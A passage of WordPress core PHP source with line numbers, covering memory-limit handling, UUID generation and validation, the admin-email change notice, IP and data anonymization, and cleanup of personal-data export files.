5788 if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) {
5789 if ( false !== @ini_set( 'memory_limit', $filtered_limit ) ) {
5790 return $filtered_limit;
5791 } else {
5792 return false;
5793 }
5794 } elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) {
5795 if ( false !== @ini_set( 'memory_limit', $wp_max_limit ) ) {
5796 return $wp_max_limit;
5797 } else {
5798 return false;
5799 }
5800 }
5801
5802 return false;
5803}
5804
5805/**
5806 * Generate a random UUID (version 4).
5807 *
5808 * @since 4.7.0
5809 *
5810 * @return string UUID.
5811 */
5812function wp_generate_uuid4() {
5813 return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
5814 mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),
5815 mt_rand( 0, 0xffff ),
5816 mt_rand( 0, 0x0fff ) | 0x4000,
5817 mt_rand( 0, 0x3fff ) | 0x8000,
5818 mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )
5819 );
5820}
5821
5822/**
5823 * Validates that a UUID is valid.
5824 *
5825 * @since 4.9.0
5826 *
5827 * @param mixed $uuid UUID to check.
5828 * @param int $version Specify which version of UUID to check against. Default is none, to accept any UUID version. Otherwise, only version allowed is `4`.
5829 * @return bool The string is a valid UUID or false on failure.
5830 */
5831function wp_is_uuid( $uuid, $version = null ) {
5832
5833 if ( ! is_string( $uuid ) ) {
5834 return false;
5835 }
5836
5837 if ( is_numeric( $version ) ) {
5838 if ( 4 !== (int) $version ) {
5839 _doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' );
5840 return false;
5841 }
5842 $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/';
5843 } else {
5844 $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/';
5845 }
5846
5847 return (bool) preg_match( $regex, $uuid );
5848}
5849
5850/**
5851 * Get last changed date for the specified cache group.
5852 *
5853 * @since 4.7.0
5854 *
5855 * @param string $group Where the cache contents are grouped.
5856 *
5857 * @return string $last_changed UNIX timestamp with microseconds representing when the group was last changed.
5858 */
5859function wp_cache_get_last_changed( $group ) {
5860 $last_changed = wp_cache_get( 'last_changed', $group );
5861
5862 if ( ! $last_changed ) {
5863 $last_changed = microtime();
5864 wp_cache_set( 'last_changed', $last_changed, $group );
5865 }
5866
5867 return $last_changed;
5868}
5869
5870/**
5871 * Send an email to the old site admin email address when the site admin email address changes.
5872 *
5873 * @since 4.9.0
5874 *
5875 * @param string $old_email The old site admin email address.
5876 * @param string $new_email The new site admin email address.
5877 * @param string $option_name The relevant database option name.
5878 */
5879function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) {
5880 $send = true;
5881
5882 // Don't send the notification to the default 'admin_email' value.
5883 if ( 'you@example.com' === $old_email ) {
5884 $send = false;
5885 }
5886
5887 /**
5888 * Filters whether to send the site admin email change notification email.
5889 *
5890 * @since 4.9.0
5891 *
5892 * @param bool $send Whether to send the email notification.
5893 * @param string $old_email The old site admin email address.
5894 * @param string $new_email The new site admin email address.
5895 */
5896 $send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email );
5897
5898 if ( ! $send ) {
5899 return;
5900 }
5901
5902 /* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
5903 $email_change_text = __( 'Hi,
5904
5905This notice confirms that the admin email address was changed on ###SITENAME###.
5906
5907The new admin email address is ###NEW_EMAIL###.
5908
5909This email has been sent to ###OLD_EMAIL###
5910
5911Regards,
5912All at ###SITENAME###
5913###SITEURL###' );
5914
5915 $email_change_email = array(
5916 'to' => $old_email,
5917 /* translators: Site admin email change notification email subject. %s: Site title */
5918 'subject' => __( '[%s] Notice of Admin Email Change' ),
5919 'message' => $email_change_text,
5920 'headers' => '',
5921 );
5922 // get site name
5923 $site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
5924
5925 /**
5926 * Filters the contents of the email notification sent when the site admin email address is changed.
5927 *
5928 * @since 4.9.0
5929 *
5930 * @param array $email_change_email {
5931 * Used to build wp_mail().
5932 *
5933 * @type string $to The intended recipient.
5934 * @type string $subject The subject of the email.
5935 * @type string $message The content of the email.
5936 * The following strings have a special meaning and will get replaced dynamically:
5937 * - ###OLD_EMAIL### The old site admin email address.
5938 * - ###NEW_EMAIL### The new site admin email address.
5939 * - ###SITENAME### The name of the site.
5940 * - ###SITEURL### The URL to the site.
5941 * @type string $headers Headers.
5942 * }
5943 * @param string $old_email The old site admin email address.
5944 * @param string $new_email The new site admin email address.
5945 */
5946 $email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email );
5947
5948 $email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] );
5949 $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] );
5950 $email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] );
5951 $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );
5952
5953 wp_mail( $email_change_email['to'], sprintf(
5954 $email_change_email['subject'],
5955 $site_name
5956 ), $email_change_email['message'], $email_change_email['headers'] );
5957}
5958
5959/**
5960 * Return an anonymized IPv4 or IPv6 address.
5961 *
5962 * @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`.
5963 *
5964 * @param string $ip_addr The IPv4 or IPv6 address to be anonymized.
5965 * @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions
5966 * to anonymize it are not present. Default false, return `::` (unspecified address).
5967 * @return string The anonymized IP address.
5968 */
5969function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) {
5970 // Detect what kind of IP address this is.
5971 $ip_prefix = '';
5972 $is_ipv6 = substr_count( $ip_addr, ':' ) > 1;
5973 $is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) );
5974
5975 if ( $is_ipv6 && $is_ipv4 ) {
5976 // IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4.
5977 $ip_prefix = '::ffff:';
5978 $ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr );
5979 $ip_addr = str_replace( ']', '', $ip_addr );
5980 $is_ipv6 = false;
5981 }
5982
5983 if ( $is_ipv6 ) {
5984 // IPv6 addresses will always be enclosed in [] if there's a port.
5985 $left_bracket = strpos( $ip_addr, '[' );
5986 $right_bracket = strpos( $ip_addr, ']' );
5987 $percent = strpos( $ip_addr, '%' );
5988 $netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000';
5989
5990 // Strip the port (and [] from IPv6 addresses), if they exist.
5991 if ( false !== $left_bracket && false !== $right_bracket ) {
5992 $ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 );
5993 } elseif ( false !== $left_bracket || false !== $right_bracket ) {
5994 // The IP has one bracket, but not both, so it's malformed.
5995 return '::';
5996 }
5997
5998 // Strip the reachability scope.
5999 if ( false !== $percent ) {
6000 $ip_addr = substr( $ip_addr, 0, $percent );
6001 }
6002
6003 // No invalid characters should be left.
6004 if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) {
6005 return '::';
6006 }
6007
6008 // Partially anonymize the IP by reducing it to the corresponding network ID.
6009 if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) {
6010 $ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) );
6011 if ( false === $ip_addr) {
6012 return '::';
6013 }
6014 } elseif ( ! $ipv6_fallback ) {
6015 return '::';
6016 }
6017 } elseif ( $is_ipv4 ) {
6018 // Strip any port and partially anonymize the IP.
6019 $last_octet_position = strrpos( $ip_addr, '.' );
6020 $ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0';
6021 } else {
6022 return '0.0.0.0';
6023 }
6024
6025 // Restore the IPv6 prefix to compatibility mode addresses.
6026 return $ip_prefix . $ip_addr;
6027}
6028
6029/**
6030 * Return uniform "anonymous" data by type.
6031 *
6032 * @since 4.9.6
6033 *
6034 * @param string $type The type of data to be anonymized.
6035 * @param string $data Optional The data to be anonymized.
6036 * @return string The anonymous data for the requested type.
6037 */
6038function wp_privacy_anonymize_data( $type, $data = '' ) {
6039
6040 switch ( $type ) {
6041 case 'email':
6042 $anonymous = 'deleted@site.invalid';
6043 break;
6044 case 'url':
6045 $anonymous = 'https://site.invalid';
6046 break;
6047 case 'ip':
6048 $anonymous = wp_privacy_anonymize_ip( $data );
6049 break;
6050 case 'date':
6051 $anonymous = '0000-00-00 00:00:00';
6052 break;
6053 case 'text':
6054 /* translators: deleted text */
6055 $anonymous = __( '[deleted]' );
6056 break;
6057 case 'longtext':
6058 /* translators: deleted long text */
6059 $anonymous = __( 'This content was deleted by the author.' );
6060 break;
6061 default:
6062 $anonymous = '';
6063 }
6064
6065 /**
6066 * Filters the anonymous data for each type.
6067 *
6068 * @since 4.9.6
6069 *
6070 * @param string $anonymous Anonymized data.
6071 * @param string $type Type of the data.
6072 * @param string $data Original data.
6073 */
6074 return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data );
6075}
6076
6077/**
6078 * Returns the directory used to store personal data export files.
6079 *
6080 * @since 4.9.6
6081 *
6082 * @see wp_privacy_exports_url
6083 *
6084 * @return string Exports directory.
6085 */
6086function wp_privacy_exports_dir() {
6087 $upload_dir = wp_upload_dir();
6088 $exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/';
6089
6090 /**
6091 * Filters the directory used to store personal data export files.
6092 *
6093 * @since 4.9.6
6094 *
6095 * @param string $exports_dir Exports directory.
6096 */
6097 return apply_filters( 'wp_privacy_exports_dir', $exports_dir );
6098}
6099
6100/**
6101 * Returns the URL of the directory used to store personal data export files.
6102 *
6103 * @since 4.9.6
6104 *
6105 * @see wp_privacy_exports_dir
6106 *
6107 * @return string Exports directory URL.
6108 */
6109function wp_privacy_exports_url() {
6110 $upload_dir = wp_upload_dir();
6111 $exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/';
6112
6113 /**
6114 * Filters the URL of the directory used to store personal data export files.
6115 *
6116 * @since 4.9.6
6117 *
6118 * @param string $exports_url Exports directory URL.
6119 */
6120 return apply_filters( 'wp_privacy_exports_url', $exports_url );
6121}
6122
6123/**
6124 * Schedule a `WP_Cron` job to delete expired export files.
6125 *
6126 * @since 4.9.6
6127 */
6128function wp_schedule_delete_old_privacy_export_files() {
6129 if ( wp_installing() ) {
6130 return;
6131 }
6132
6133 if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) {
6134 wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' );
6135 }
6136}
6137
6138/**
6139 * Cleans up export files older than three days old.
6140 *
6141 * The export files are stored in `wp-content/uploads`, and are therefore publicly
6142 * accessible. A CSPRN is appended to the filename to mitigate the risk of an
6143 * unauthorized person downloading the file, but it is still possible. Deleting
6144 * the file after the data subject has had a chance to delete it adds an additional
6145 * layer of protection.
6146 *
6147 * @since 4.9.6
6148 */
6149function wp_privacy_delete_old_export_files() {
6150 require_once( ABSPATH . 'wp-admin/includes/file.php' );
6151
6152 $exports_dir = wp_privacy_exports_dir();
6153 $export_files = list_files( $exports_dir, 100, array( 'index.html' ) );
6154
6155 /**
6156 * Filters the lifetime, in seconds, of a personal data export file.
6157 *
6158 * By default, the lifetime is 3 days. Once the file reaches that age, it will automatically
6159 * be deleted by a cron job.
6160 *
6161 * @since 4.9.6
6162 *
6163 * @param int $expiration The expiration age of the export, in seconds.
6164 */
6165 $expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
6166
6167 foreach ( (array) $export_files as $export_file ) {
6168 $file_age_in_seconds = time() - filemtime( $export_file );
6169
6170 if ( $expiration < $file_age_in_seconds ) {
6171 unlink( $export_file );
6172 }
6173 }
6174}